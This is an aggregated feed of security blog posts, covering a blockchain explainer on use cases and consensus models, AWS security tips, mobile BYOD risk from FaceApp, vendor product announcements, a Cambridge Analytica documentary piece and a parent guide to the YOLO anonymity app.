Could Bob implement his point system anyways? Certainly. However, he fails to gain many of the advantages of using blockchain while losing the efficiency and agility of a traditional database implementation. Instead of blockchain, he could load points onto a rewards card that anyone could carry. The database can track the current balance of the card. Each restaurant can check the database before approving any purchases with points. This is a simple and effective system that has already been proven to be fairly robust. Bob’s case may not be a good candidate, but simple changes could change that. What if Bob did not own all the restaurants? What if the points could be used by partners such as hotel chains? These new features remove Bob as a central authority—making a much better case for a blockchain solution.

Trust: the good

Carol owns a grocery store and wants to buy only the freshest produce from her suppliers. However, sometimes she does not see the quality of the product until it is stocked, well after accepting delivery. Her suppliers maintain that the quality of the produce is good and any issues should have been raised at the time of delivery. They disagree who is at fault for the low-quality produce. It could be improper storage by the farmers, oversight of the goods by the shippers, or failure to check the goods by Carol’s grocery staff. To solve this issue, Carol and her suppliers created a blockchain network to track the handling of the produce. Storage sensors measure the moisture and heat of the storage unit as well as timestamps from the farm to final delivery. When the produce switches hands, a new record on the blockchain indicates the change and new storage sensor data collection begins.

Carol does not trust that produce is delivered in good condition. The suppliers do not trust that Carol stores the produce correctly. If each entity could validate proper storage, trust would not be required. Carol could decide, with limited inspections, whether to accept the produce based on its storage record. The farmers could prevent unreasonable returns based on faulty temperature control during shipping. This scenario fits the trust principle of among the participants. Additional measurements such as weight and images of the produce at various stages could also be added for further verification. If we suppose that the suppliers service many grocery stores and Carol buys from multiple suppliers, then we have an even stronger case for the decentralization principle as well.

Trust: the bad

Ted wants to create a sports card trading network. Users need to prove they legitimately own the cards. By registering the card in a blockchain, all users can track who owns which card and verify ownership if someone claims to own a rare or valuable card. Ted creates a blockchain to maintain the ownership data. When someone trades a card, the records are updated to reflect the change.

At first glance, this scenario is similar to Carol’s produce problem. A physical item must be delivered, and details are stored in the blockchain. However, Carol has the option to verify log data before she accepts the delivery. If there is a disagreement, the log data can justify who is at fault and they assume the cost. Ted, however, wants to track the physical object. Any disagreement will be about the delivery and location, not the quality of delivery and storage. If Ted delivers a card, the network trusts that he will update the records accordingly. If the network is updated, both the buyer and seller trust that the card was delivered. Data within this trading system cannot be independently verified. If there is a disagreement, there is no recourse within the network. The physical location of the card is important as well as the timing of both the physical and blockchain transactions. In Carol’s system, only the log data and the sum of the log data that needs to be verified are important. She answers the question, “Did you deliver the produce to spec?” Only then does a transaction happen. Carol’s recourse is not to accept the delivery. In Ted’s scenario, the card may be registered in the wrong hands—with no ability to correct the network.

Could a similar system work for Ted? Absolutely. One solution is to step into some gray area and add a little trust to the system. However, any required trust creates dependencies, so our goal is to reduce reliance on a trust model as much as possible. If Ted worked with digital trading cards instead of physical cards, he could reduce the trust factor to zero. The entire system could be contained in the network, eliminating any need for trust. If he must maintain physical cards, then he could learn from examples in the diamond industry. Beginning early in 2018, the diamond industry implemented blockchain to track 100 diamonds from mine to retail with a limited amount of trust .[xi] Each entity was required to upload data at each milestone, creating a method of verification. Trust in this case was reduced, but not eliminated, and allowed multiple stakeholders visibility into the diamonds in their possession. Ted could take a similar route to require a proof-of-delivery stage for a valid trade transaction. The harder the proof of delivery is to fake, the less trust the system needs. Any data coming from outside the network requires some form of trust. Ted can balance his needs for physical tracking against added trust in outside delivery verifications.

Holiday cards

How does the holiday card example fare with the decentralization and trust principles? It should be clear that the four companies have their own agency. They do not answer to the same management or boards of directors. The lack of centralization indicates blockchain could provide value that a traditional database could not. The trust principle is a bit more difficult to pin down, however. Certainly, they lack trust that each will do the job they were contracted to do. However, there are additional trust issues they may be concerned with. Can each party actually perform their obligations? Who is tracking the profits? If one party fails its part of the contract, how do the others recover? Each of these issues could be addressed using a blockchain implementation. To cover them all would be a massive undertaking, particularly in these early stages of the technology. Asset tracking could be resolved much like the diamond-tracking system we discussed. Financials could be tracked similarly to popular cryptocurrency implementations. Contract breach penalties could be built into the business logic using smart contracts—assuming the legal hurdles can be surmounted. What remains is the ability to gauge whether the obligations can be met in the first place. Each company could load relevant resources into a blockchain to be checked by another. This, unfortunately, requires a lot of trust that the data is entered correctly. Further work could be done to reduce this trust gap but those systems need to be designed and proven to be viable in major transactions.

Blockchain Options

You have determined you have a good case for blockchain. Now what? Do you build your own? Do you piggyback off current infrastructure such as Bitcoin scripts or Ethereum contracts? Create your own tokens? There are pros and cons to each. Fortunately, demand has created markets that can simplify your implementation. Which type of blockchain do you need?

Public, private, permissioned

There are three primary types of blockchain: public, private, and permissioned. A public blockchain is the best known. Bitcoin, Ethereum, and most other cryptocurrencies fall into this category. They are generally open to the public without restrictions. Private blockchains are not open to the public. The contributors to the network are well defined, with no outside entities allowed. Organizations may build a private blockchain in house or with a select group to solve a business need. Permissioned blockchains are provided to the public with a set of rules. Nodes are clearly identified, reducing anonymity. Access is provided only by invitation or request. Permissioned blockchains may have additional rules on the allowed behaviors of individuals or groups of nodes.

Public

Public blockchains are good for set-and-forget solutions, particularly if you are not much concerned with who participates in the network. You could build your own or quite easily fork a current blockchain. Technologies such as Ethereum smart contracts have a lot of support and even developing standards for enterprise-ready development. A major drawback to public blockchain is the lack of control of the network behavior and uploaded data. There are ways to partially resolve these concerns, but they can become complicated and limit the options of which technologies you can use. The most common public blockchain technologies are Bitcoin, with limited script support extension, and Ethereum, with more flexible smart contract support.

Pros

  • Improved security due to network participation, particularly on Nakamoto-style consensus models
  • The network is likely to remain active regardless of personal contribution
  • Lots of current implementations that can be used or learned from

Cons

  • The network is likely to remain active regardless of personal contribution
  • Lack of control over the network’s future
  • Internal behaviors and data are visible and difficult to hide

 Private

If you are developing a private blockchain, you may be better served using a database solution. Why? Private blockchains lose most of the security benefits of blockchain while assuming the complexities and speed reduction. They do gain more privacy with internal activity, but those benefits can also be gained in a permissioned blockchain and certainly with control of your own database. One notable exception to this advice is internal testing and prototyping. If you are prototyping, testing, experimenting, or otherwise learning about blockchain technologies, private blockchains can be your personal sandbox. For example, you could compile your own Ethereum network with a hardcoded difficulty rating to privately test new contracts you are developing. You may even wish to create a private blockchain for staging and plan to open it to others in the future. From this perspective, some may choose to accept a security reduction in the short term to ensure long-term reliability.

From a security perspective, it is false to assume that only trusted parties can contribute to a private blockchain. Through use of phishing, botnets, and cloud services, malicious attackers could gain entry to your private blockchain and perform attacks such as Sybil and 51% attacks.[xii] Due to the inherent lack of scale in private networks, these attacks may not only be possible, but also relatively cheap. This type of targeted attack on a private blockchain has not been publicly observed; however, similar attacks have been performed against smaller public blockchains.[xiii] If you choose the private blockchain route there are simple ways to achieve this without reinventing the wheel. One way is to clone any number of blockchain solutions such as Ethereum and configure the clients to connect to a custom network. You may wish to implement additional protection to authenticate valid users while relying on the readily available core technology.

Pros

  • Improved control over the network’s future
  • Internal activity and data can be designated to trusted participants
  • Required features can be tailored to business needs

Cons

  • Severely reduced security due to lack of adoption
  • Slower than any similar database solution
  • Code and network maintenance

Permissioned

Permissioned blockchains strike a balance between public and private blockchains. The best known permissioned blockchain is Hyperledger Fabric, a blockchain framework implementation.[xiv] Hyperledger Fabric enables organizations to maintain some control over their segment of the blockchain while gaining many benefits of broader adaptation. Each segment can control its own consensus model to govern their data, in this case through channels.[xv] This framework is seen as one of the most mature implementations of blockchain with enterprise-ready business solutions.[xvi] Other solutions include Hyperledger Sawtooth, Quorum, and Stellar, which are used by various companies.[xvii] [xviii] Forbes lists 50 top public companies investing in blockchain.[xix]

Pros

  • Improved control over the network’s future
  • Participants can be vetted based on the network’s needs
  • Provides most of the benefits of public blockchains with trade-offs in increased trust

Cons

  • Requires some trust in a central authority or consortium
  • Potentially reduced security based on adaptation
  • Requires commitment to keep your network segment active

Proof of work

Any agreement requires a consensus on the facts. Blockchain maintains what amounts to record entries that all participants agree on. The method on which participants agree to these records is called the consensus algorithm. Most consensus algorithms expend a finite resource to prove that work was required to write to the ledger. For every additional block in the blockchain, increasing resources are spent. This measurement is additive because each block must be computed separately. By knowing the difficulty of the work being done on each block, participants can calculate how much work was done on an entire chain. The longest chain is always considered the active chain. Thus, in a short time, participants will gain a consensus in which the records that make up the longest chain are agreed upon.

Proof-of-work is the most common consensus model. It was the first proof proposed in Satoshi Nakamoto’s paper “Bitcoin: A Peer-to-Peer Electronic Cash System.”[xx] The primary resource used in a proof-of-work algorithm is processing power, initially by the CPU. The most common implementation is based on the SHA-256 hashing algorithm. Each block is hashed using SHA-256, with the goal that the resulting hash is smaller than a target number. This number is chosen based on the speed with which the network mines blocks. If a block has a hash that is lower than or equal to the target number, then it is valid and can be appended to a chain. Lower targets create higher difficulty ratings on each block. These ratings are used to determine which chain used the most resources and is, therefore, the active one. In the following proof-of-work below, the difficulty rating represents a number preceded with five zeros. Any number with fewer than five zeros is bigger than the target and is invalid. The “header hash” of the block is used for this comparison. In lay terms, proof-of-work creates a mathematical problem and turns it into a lottery-like system. The winner is whoever solves the problem first. It offers the bonuses of controlling the speed of writing to the blockchain and enabling users to choose the same blockchain.

Figure 4: Hashing results from a proof-of-work simulator. A valid header hash starts with five zeros.

One of the primary criticisms of proof-of-work is its wasteful consumption of energy. Bitcoin’s implementation consumes enough energy to power 6.7 million households.[xxi] This consumption directly relates to cost when implementing your own blockchain solution. Researchers have sought alternatives to avoid excessive resource costs. This has led to several other consensus models.

Figure 5: Bitcoin power consumption compared to VISA transactions power consumption. Source: Digiconomist.

Proof of elapsed time (PoET)

Proof of elapsed time was first implemented in Hyperledger Sawtooth, originally developed by Intel. It is an example of a consensus model that does not require excess resource use or energy to form a consensus. Much like proof-of-work, it falls into the category of a Nakamoto consensus. The voting system is based on a random wait time; the node with the shortest wait time creates the next block of the chain.

In most cases it is impossible to guarantee a node has both chosen a random wait time and waited the indicated amount. However, using a trusted execution environment could resolve this issue. To properly implement a secure trusted environment, specialized hardware is required. Intel, using Software Guard Extensions (SGX), can execute machine instructions in a secure trusted environment called an enclave. The SGX instruction set in modern Intel processors enables trusted execution.[xxii] Key functionality such as the random number generator and wait time can be executed inside the secure enclave. They prevent attackers, even with local access, from altering the machine instructions, preserving the integrity of the results. By using certificates and signatures, others can further validate that the output did indeed run within the secure enclave.

The main benefit of using PoET instead of other Nakamoto consensus algorithms is that its resource use is low, reducing costs. By using a random wait time instead of processing cycles, the actual power consumption is minimized. However, this comes with two drawbacks:

  • Hardware requirements
  • Required third-party trust

Although the PoET documentation lists only SGX, other platforms exist, including AMD, ARM, and RISC-V.[xxiii] As of this writing, however, no major PoET implementation for these platforms is available, leaving SGX as the only current option. Due to this limitation, only modern Intel processors can participate in a PoET network. Mixed trusted execution environments are not guaranteed for the future. This is entirely dependent on whether a trust mechanism is ever developed between platforms.

PoET also requires third-party trust. In the case of SGX, nodes must trust Intel’s implementation of their secure trusted environment as well as Intel’s services. For code to be validated, the secure container must be confirmed as well. The process requires trust in the Intel Attestation Service (IAS). In the case of self-attestation, the IAS API must show the container has previously been enabled. If self-attestation was not previously enabled, then the API will be called to verify the retrieval of the attestation verification report. Both routes require a trusted response from IAS.

Figure 6: Remote attestation flow.[xxiv]

Practical Byzantine fault tolerance[xxv].

Practical Byzantine fault tolerance takes a different approach, with lessons learned from work in distributed systems. Byzantine fault tolerance was initially designed to measure the dependability of distributed systems. As we discussed earlier, it is more like a voting system than a lottery. Rather than every node spending a resource to prove work, consensus is gained by a leader choosing transaction orders. Validation peers then communicate to one another until there is a consensus on the chosen transactions. Leaders are chosen by validation peer votes, enabling any faulty or malicious leaders to be removed by the network. This model has a few benefits over a resource-based model such as proof-of-work. The primary benefit is the limitation of resource use, a major criticism of many other consensus models. However, this benefit comes at some cost:

  • Reduced resistance against attacks
  • Lack of anonymity
  • Increased traffic

A well-known attack against many blockchain implementations is the 51%, or majority, attack. By controlling more than 50% of the network, an attacker can change the historical records in the ledger as well as assert some control over new blocks being mined. Byzantine fault tolerance, by comparison, requires only one-third of the replication nodes to be compromised.[xxvi] Byzantine fault tolerance sacrifices some security for speed and efficiency, reducing the threshold an attacker needs to meet to compromise the network. Essentially, if an attacker can control one-third of the transaction replication, they can break the validity of the transactions or prevent a valid consensus altogether.

Figure 7: Practical Byzantine fault tolerance. Source: Altoros.

A second compromise with using Byzantine fault tolerance is anonymity. The nature of this model requires node identity to be known so leaders can be chosen and removed if necessary. This precludes public blockchain implementations and suggests permissioned blockchain is a better fit.

The replication nodes also generate extensive network traffic. When the leader decides on the valid transaction, each replication node waits on a designated number of consistent responses from other nodes. This creates a significant amount of network traffic that may be manageable only for small blockchain networks. The network requirements for large implementations become unmanageable in a Byzantine fault tolerance system. Each node must wait until two-thirds of the nodes agree, with every node broadcasting to each other. Permissioned blockchains reduce the communications to subsets of nodes, easing the network requirements to participate.

Proof of stake

Proof-of-Stake consensus takes a route similar to Byzantine fault tolerance’s and benefits from many of the latter’s properties. At its core, proof of stake is a voting system in which ownership of a token provides more weight to the block-creation mechanism. This algorithm claims significant advantages over proof-of-work including security, reduced risk of centralization, and energy efficiency.[xxvii] Proof of stake avoids wasting resources by limiting resource use such as processing power and offers the advantage of producing faster transactions than similar proof-of-work systems. Proof of stake’s integrity is based on the assumption that most users will behave honestly. This may not always be a valid assumption, as observed in a “P + epsilon attack,” in which a malicious user provides bonus rewards to buy votes. The attacker structures the reward so that it is always more profitable to vote with the attacker than otherwise.[xxviii] There have been some implementations and proposals to mitigate these types of attacks, such as the “slasher” method, which penalizes certain behaviors.[xxix] Major implementations of proof of stake include Peercoin and EOS, with future migration plans for Ethereum.[xxx]

Federated Byzantine agreement (Stellar consensus protocol)

When a node hears a statement a sufficient number of times, it assumes the statement is true and any contradiction comes from a faulty node. The agreeing nodes are called a quorum; a portion of the quorum is a quorum slice. In a traditional Byzantine fault tolerance algorithm such as practical Byzantine fault tolerance, the quorum and the quorum slice are interchangeable because the nodes that broadcast the original statements are predefined as leaders that participating nodes agree on. By allowing for the slice, individual nodes can come to an agreement about a particular statement without regard for the entire network. Each individual node can make its agreements based on arbitrary criteria if the statement comes from a sufficient number of other nodes. Agreements can be shared across nodes if there is a quorum intersection between the two nodes (an overlapping node between quorum slices). In other words, if my friend trusts you, then I’ll trust you too.

Figure 8: Chart of anonymity and trust between proof-of-work, proof-of-stake, and federated and non-federated Byzantine fault tolerance consensuses.[xxxi]

Conclusion

New technologies can be confusing, and the excitement can lead to many overexaggerated claims. Blockchain, though it holds a lot of promise, is not “one size fits all” for every problem. Many problems can be adequately solved at low cost using well-understood database implementations. The value of blockchain truly shines when the implementation space has two key elements:

  • Decentralization of owners
  • Lack of trust

It is not enough to have decentralized locations. A single business can have decentralized assets such as branches or organizational structures. There needs to be a clear separation of control between the entities. Databases have long proven capable of working across geographies. However, blockchain can provide a mechanism of agreement when central databases are difficult, if not impossible, to implement.

Any system with assumed trust is also not a good candidate for blockchain. Even if a central database is not an option, an interface to retrieve data and synchronize databases can still be magnitudes of times faster than blockchain. You simply need to trust the data has not been tampered with now or in the future. If the other parties have incentives, such as economic advantages, then trust is diminished and blockchain may help surmount the trust hurdle.

Determining which blockchain to use is not easy. If you simply want to release digital incentives such as rewards points, then tokens built on top of cryptocurrencies could work. If you require complicated rules, then smart contract–supported networks such as EOS and Ethereum may be what you need. Flexibility, privacy and enterprise-ready support can be found on various Hyperledger frameworks. Even privately built blockchains are a reasonable option in some scenarios. Your choice of Nakamoto-style consensus or Byzantine fault tolerance, coupled with concerns for privacy, speed, and scale will help guide your decision. It is important to remain informed of what blockchain can and cannot do. Databases should be your first choice until you can show both decentralization and lack of trust issues. Choosing blockchain for its strengths can transform your business in a positive way. Implementing blockchain where it does not fit could have devastating effects on a business’ ability to scale quickly and operate effectively.

 

———————————————————————————-

 

[i] https://www.ispot.tv/ad/doiE/ibm-blockchain-smart-supply-chain

[ii] https://www.coindesk.com/american-express-upgrades-rewards-program-hyperledger-blockchain/

[iii] https://www.americanbanker.com/news/has-amex-found-a-data-gold-mine-with-its-rewards-blockchain

[iv] https://lo3energy.com/

[v] https://www.siemens.com/press/en/pressrelease/?press=/en/pressrelease/2017/energymanagement/pr2017120121emen.htm

[vi] https://docs.wixstatic.com/ugd/bd1fb8_4e16d895b37e4b2a9d4dafdbb82cef2a.pdf

[vii] http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO2&Sect2=HITOFF&u=%2Fnetahtml%2FPTO%2Fsearch-adv.htm&r=1&p=1&f=G&l=50&d=PTXT&S1=9,928,746.PN.&OS=pn/9,928,746&RS=PN/9,928,746

[viii] https://novablitz.com

[ix] https://bitcoin.org/bitcoin.pdf

[x] https://medicalchain.com/en/

[xi] https://www.debeersgroup.com/media/company-news/2018/de-beers-group-successfully-tracks-first-diamonds-from-mine-to-r

[xii] https://en.bitcoin.it/wiki/Weaknesses

[xiii] https://www.mcafee.com/enterprise/en-us/assets/reports/rp-blockchain-security-risks.pdf

[xiv] https://www.hyperledger.org/

[xv] https://www.ibm.com/developerworks/cloud/library/cl-blockchain-private-confidential-transactions-hyperledger-fabric-zero-knowledge-proof/index.html

[xvi] https://www.ibm.com/blockchain/hyperledger

[xvii] https://medium.com/coinmonks/comparison-of-permissioned-blockchains-6537a0694df0

[xviii] https://docs.google.com/spreadsheets/d/12PPUxqDaTSR2K2gNQJ7EqIN1ezCiwwa51GZTcN3O6T8/edit#gid=0

[xix] https://www.forbes.com/sites/michaeldelcastillo/2018/07/03/big-blockchain-the-50-largest-public-companies-exploring-blockchain/#4cbf04e42b5b

[xx] https://bitcoin.org/bitcoin.pdf

[xxi] https://digiconomist.net/bitcoin-energy-consumption

[xxii] https://github.com/ethereum/wiki/wiki/Proof-of-Stake-FAQs

[xxiii] https://sawtooth.hyperledger.org/docs/core/releases/1.0/introduction.html

[xxiv] https://software.intel.com/en-us/articles/code-sample-intel-software-guard-extensions-remote-attestation-end-to-end-example

[xxv] https://blockonomi.com/practical-byzantine-fault-tolerance/

[xxvi] http://pmg.csail.mit.edu/papers/osdi99.pdf

[xxvii] https://github.com/ethereum/wiki/wiki/Proof-of-Stake-FAQs

[xxviii] https://blog.ethereum.org/2015/01/28/p-epsilon-attack/

[xxix] https://github.com/ethereum/wiki/wiki/Proof-of-Stake-FAQs

[xxx] https://en.wikipedia.org/wiki/Proof-of-stake

[xxxi] https://medium.com/@lkolisko/in-depth-on-differences-between-public-private-and-permissioned-blockchains-aff762f0ca24

The post Demystifying Blockchain: Sifting Through Benefits, Examples and Choices appeared first on McAfee Blogs.

IDG Contributor Network: How to establish a security culture within IT

Most corporations suffer from the delusion that a small team of cybersecurity experts buried within the bowels of IT (or elsewhere) can protect the other 99%+ of the company’s workforce from exposing business-sensitive or business-critical information to malicious external actors.  Unfortunately, this same delusion exists within many IT shops.  95%+ of the IT staff members blithely assume that the security team (which may only represent 5% or less of the total IT staff) will keep them all out of trouble.  These delusions have proven to be false many, many times but they persist nevertheless.

In the current age of widespread security awareness, almost every enterprise has established a security program.  A security program consists of policies established by the CISO or ranking security leader, operational controls that enforce the policies, work rules and procedures that implement the controls, tools that support the rules and procedures, and a security operations team that employs the tools to monitor the rules and procedures and audit the consistency and effectiveness of the controls.  This sounds complicated but the key components of a successful security program are well understood by most IT shops and have been implemented to one degree or another in most enterprises.

To read this article in full, please click here

Ten tips for better AWS cyber security

Amazon Web Services (AWS) offers a huge variety of benefits for businesses, and organisations are increasingly opting for cloud solutions for their data, website, and applications. However, there are still some businesses using AWS that have not put the proper cyber security controls in place. Here we take a look at ten great tips to improve your AWS cyber security.

  1. Understand your responsibilities

When you work with any kind of web services provider you need to understand what you are responsible for and what will be managed by the provider. This is absolutely true in terms of AWS – where Amazon runs its so-called ‘shared responsibility model’. In this model AWS is responsible for protecting the infrastructure of the AWS cloud system including hardware, software, and networking.

On the other hand, you as the customer is responsible for customer data, identity and access management, firewall and anti-virus configuration, and issues such as data encryption. It can sometimes be necessary to work with outside agencies to manage your own cyber security.

  1. Ensure you have a coherent strategy in place

There is often a debate regarding cyber security: should you put controls in place to protect your business first and then update the system as necessary, or should you prioritise establishing a coherent strategy first, before investing in expensive services and tools? You might assume that you need to put defences in place immediately, regardless of whether they are right for your business, but in fact this can often be expensive and difficult to change at a later date.

In the majority of cases it is important that you should put a strategy in place first. With the complex requirements of modern cyber security, you need to understand the needs of your operation before you commit to services.

  1. Use a secure password policy

You need to ensure that your users are protecting themselves with strong passwords. You should put a secure password policy in place – this should not only mean that the passwords have specific requirements (such as: at least 8 characters; numbers, letters and symbols used; etc.) but also that the passwords should need to be updated periodically, and must be unique from previously used passwords.

The policy needs to be configured in the settings of your system so that there is no option for users to not follow them.

  1. Clearly define users’ roles

One major cyber security issue can occur in AWS if a business fails to define and set user roles. If all users have the same permissions and can access the whole of the system then your company is at serious risk if just one of them is compromised by cybercriminals.

You can easily manage user roles in your AWS account, ensuring that staff only have access to the data and files that they need in order to do their job. Of course, it is also important to regularly re-assess accounts to be sure that individuals do not have access to information across the whole of the system.

  1. Opt for a managed service if you require technical expertise

If you want to use AWS services for its many benefits but you are concerned that you do not have the kind of in-house technical expertise required to do so successfully, it can be a great idea to use a managed service. AWS specialists, Wirehive, say:

“There’s no doubt that managed AWS solutions can be extremely powerful and valuable for businesses. However, with the range of tools and options available to AWS businesses, day-to-day infrastructure management activities of the service can be demanding and complicated, taking significant expertise and resources away from more profitable tasks.”

You can work with companies offering a wide range of options to suit your needs, whether you are looking for 24/7 support and the whole system managed for you, or you just need expertise on specific issues.

  1. Put written procedures in place

It is a great idea to ensure that you have your cyber security procedures written up so that they can be accessed by anyone in the company. It is important to have a documented record of plans so that staff are ready to implement them.

  1. Include security at all layers

Yes, it is important to have cyber-security solutions such as firewalls and anti-virus software, but they are no longer enough to keep your business secure. When you work with AWS it is important to provide cyber security solutions for all layers of your business. This means everything from endpoint security measures to integrated SIEM services.

Once again, it is important to note here that if you do not take expert advice on the right sort of security services that you need, you can end up spending a large part of your budget on services that aren’t really doing anything for you.

  1. Encrypt sensitive data

AWS encourages its users to encrypt their data, and even offers you the option encrypt with the click of a button using their native encryption. However, you may prefer to implement your own encryption in ensure that you are protected to your own standards.

Additionally, it should be pointed out that encrypting data will not slow down your system, as some believe – it is simply an important method of securing your data.

  1. Never use expired certificates

It might seem like common sense, but it is still a problem for some AWS users. You should not be using expired SSL/TLS certificates – they may not be compatible with AWS services anymore, and this can create a whole range of issues.

    10. Backup everything

AWS offers backup solutions, and they really are worth considering. Every organisation needs to ensure that its data is backed up in case of either a ransomware-style cyber-attack or some other major issue.

 

The post Ten tips for better AWS cyber security appeared first on CyberDB.

FaceApp: The App That Ages Your Employees and Your CIO

Bring Your Own Device (BYOD) is one of the defining characteristics of the modern mobile workforce but it’s also a weakness many businesses aren’t paying enough attention to. It’s likely many corporate BYOD users  have downloaded a hot new app named FaceApp. An AI face editor, this app is rising in popularity all thanks to the FaceApp Challenge — where people leverage the app’s old age filter to appear elderly in photos and post the results on social media. However, the application has also drummed up some discussions around its current privacy permissions,

Sharing More Than Just a Laugh

Though the company has stated no malicious intent, it’s still questionable if access to other data has been given without permission from these users. In any event, the scenario is one that keeps security practitioners up at night. Unsecured mobile devices are an easy entry point to spread malware, obtain credentials and gain access to corporate systems that contain even more sensitive data.

From FaceApp to Fending Off Threats

With apps creating gateways to corporate data, employees need to ensure all their devices have an extra layer of security added. To safeguard an organization’s network, lock down any corporate data, and ensure your CIO can get a decent night’s rest, teams should adopt an agile and intelligent security solution which treats mobile devices like any other endpoint. McAfee MVISION Mobile provides an always-on defense for iOS and Android devices and analyzes deviations surrounding device behavior to make determinations about indicators of compromise to accurately identify advanced threats. For those who are transitioning to a more tactical threat hunting role and exploring Endpoint Detection and Response tools (EDR) ignoring mobile security or using an approach that doesn’t integrate with endpoint platforms and EDR tools will pose another problem – a window of opportunity for threat actors. Mobile security is more than just a checkbox for an elevated approach to security. Like a good soldier on the frontlines that notifies his commander of the enemy’s approach, mobile security needs to elevate alerts to the SecurityOperations team. EDR that relies on manual correlation of mobile defense alerts or observations will extend the opportunity for an attacker to move from the mobile device to more critical systems.

Before the next FaceApp challenge emerges, I encourage you to evaluate your mobile device coverage. Is it automating actions and moving quickly when malicious apps or connections attempt to reach your corporate network through a mobile device? Does your current approach to mobile security elevate critical events to your security team? If not, it might be time to consider a more integrated approach that elevates your security posture with the insights to identify the next potential threat before it becomes a headline.

To learn more about effective endpoint security strategy, be sure to follow us @McAfee and @McAfee_Business.

The post FaceApp: The App That Ages Your Employees and Your CIO appeared first on McAfee Blogs.

New Customer Ideas Portal: Add Your Voice to Our Roadmap

Customer-inspired product enhancement is not something new at Veracode. In fact, since 2016, we have implemented more than 1,100 product enhancement requests from individual customers. To create greater transparency into the product management process, we created a self-service feedback portal – Ideas – in the Veracode Community in 2017. This portal is where every Veracode customer can submit product feedback and weigh in on other customers’ submissions by voting and adding comments.

We’re excited to announce an upgrade to the portal this summer – Ideas 2.0. The enhancements include:

  • Clearer fields to describe customers’ ideas
  • Configurable email notifications
  • A centralized Ideas dashboard
  • An opportunity to follow the dialogue around specific ideas of interest

Notifications

One thing we learned from customers using the existing Ideas portal is the pain of needing to log into the Community or reach out to Veracode staff to track the status of Ideas. The new Ideas portal keeps you informed on updates to the Ideas you have submitted, or those you’ve chosen to follow, whether it’s a new comment or a status change.

Dashboard

You also have access to a dashboard in the Community where you can review the status of all your Ideas in one place, the My Ideas dashboard. If you manage your organization’s AppSec program, you can have a dashboard that gives visibility into all submitted Ideas across your entire organization through the Superuser status. Just request that status from your Security Program Manager.

Subscribing

Finally, you have the option to subscribe to an Idea that resonates with your needs. By subscribing to an Idea, you have the same visibility into the Idea status and discussion with product management as the original submitter does. We added this functionality in the spirit of harnessing the power of sharing. In driving an Idea from inception to implementation, the knowledge, insights, and experience you share empower not just a new feature, but a community of developers, security practitioners, and Veracode product experts.

Get started

If you have not been on the Ideas portal previously, now is the best time to try. How can you get started? The Ideas portal sits in the Veracode Community. While the content on the Veracode Community is available to customers and non-customers, the Ideas portal is only available to Veracode customers. If you are a Veracode customer, log in (or register, if this is your first visit) to the Community and start adding your voice to our roadmap. You can check out this knowledge article for more details. Questions about the Ideas portal or comments on your Community experience? Ask or share in the Community Exchange!

 

As MENA moves to cloud, CIOs look to keep data in-country, study shows

With cloud adoption fast on the rise throughout the Middle East and North Africa, GDPR compliance is starting to loom top of mind for IT leaders.

Eighty-four percent of organizations in the Middle East are currently using the cloud or planning to adopt cloud computing in the next 12 to 24 months , according to the Ponemon Institute’s 2019 Middle East Encryption Trends report.

The move to the cloud is picking up speed particularly in the UAE, where locally based cloud options for the private and public sector alike are expanding as tech giants like Microsoft, Oracle and Amazon launch in-country options.

To read this article in full, please click here

Download Cloudbric’s New Security Extension For Plesk

Cloudbric is proud to announce the release of their much-awaited security extension (inclusive of WAF and DDoS protection) for Plesk, an industry-leading web solution platform.

Plesk is an all-in-one platform that allows developers, system administrators, and resellers to run, manage and secure their domains and servers via their control panel solutions and extensions.

Through this partnership with Plesk, we aim to simplify security for both users and small to mid-size businesses.

With the Cloudbric WAF extension, it’s easier for current Plesk server users, web hosting providers, and web professionals to access our web security services with just one click.

Plesk users can also manage Cloudbric settings and analytics without having to switch between applications.

Furthermore, by registering one of the lowest false-positive rates on the market, Plesk users like web hosting providers can deliver an affordable, high performing web application security solution to their own end users.

Learn more about our security extension and all its features via our product page on Plesk:

https://www.plesk.com/extensions/cloudbric/


Make sure to follow us on our social media platforms (LinkedInTwitter, and Facebook) and our recently opened Telegram Announcement Channel for the latest updates!

The post Download Cloudbric’s New Security Extension For Plesk appeared first on Cloudbric.

The Great Hack: the film that goes behind the scenes of the Facebook data scandal

This week, a Netflix documentary on Cambridge Analytica sheds light on one of the most complex scandals of our time. Carole Cadwalladr, who broke the story and appears in the film, looks at the fallout – and finds ‘surveillance capitalism’ out of control

Related: Arron Banks threatens Netflix over Great Hack documentary

Cambridge Analytica may have become the byword for a scandal, but it’s not entirely clear that anyone knows exactly what that scandal is. It’s more like toxic word association: “Facebook”, “data”, “harvested”, “weaponised”, “Trump” and, in this country, most controversially, “Brexit”.

Cambridge Analytica didn’t decide democracy was for sale. We built this world, so we should own it

(December 11, 2015) First hint of the scandal

People have completely misunderstood the scandal as being about privacy, when it’s actually about power

The Cambridge Analytica files resulted in a multi-year investigation from the UK Information Commissioner's Office, "the most important ever", according to Elizabeth Denham, the Information Commissioner.

Continue reading...

YOLO: What Parents Need to Know About the Anonymity App Kids Use with Snapchat

If your kids use Snapchat, chances are they also use the popular new app YOLO along with it. Since it’s debut in May YOLO has been downloaded over 5 million times, and kids absolutely love it. Whether or not parents love it, however, remains to be seen.

But before rendering YOLO yet one more risky app (because frankly, all apps are dangerous if used recklessly) let’s take a closer look at what the attraction is for teens and how we can equip them to use it wisely.

Why kids love it

Snapchat is already where kids spend a lot of their time, and YOLO is an app specifically designed to work in tandem with the Snapchat interface. YOLO enhances that experience by allowing Snapchat users to invite other Snapchat friends to ask or answer questions anonymously. And who hasn’t been curious about what other people think about them or wish they could access how someone “really” feels about something? Kids can ask any number of questions such as if people think they are funny, if their new hairstyle works, how to lean on a big decision, or if others share their fear of clowns. The possibilities are endless. This kind of connection — without having to put your name on your answer — offers some a fresh level of honesty and peer connection.

What makes it risky

The exact reasons kids love YOLO — anonymity, curiosity, honesty — are why the app could (and by some reports already has) turn into the latest breeding ground for bullying. Similar to anonymous apps preceding YOLO such as Yik Yak and Saraha, users can say whatever they want without attaching their name. Apple and Google stores have banned similar anonymous apps over accusations of hate speech and bullying.

What parents can do 

Talk about the app with your kids. Pull YOLO up and see how your child is using the Q&A app and the kinds of questions and responses he or she is collecting. Discuss any concerns you see.

Discuss the risks of anonymity. There’s a psychological phenomenon known as the online disinhibition effect, which means people feel less attached and responsible for their actions when they feel removed from their real identities. In short, when people can be anonymous online, they tend to say things they’d never say to someone in person. Warn kids that when they open themselves up to anonymous comments, they can also be opening themselves up to hurt. So, proceed with caution.

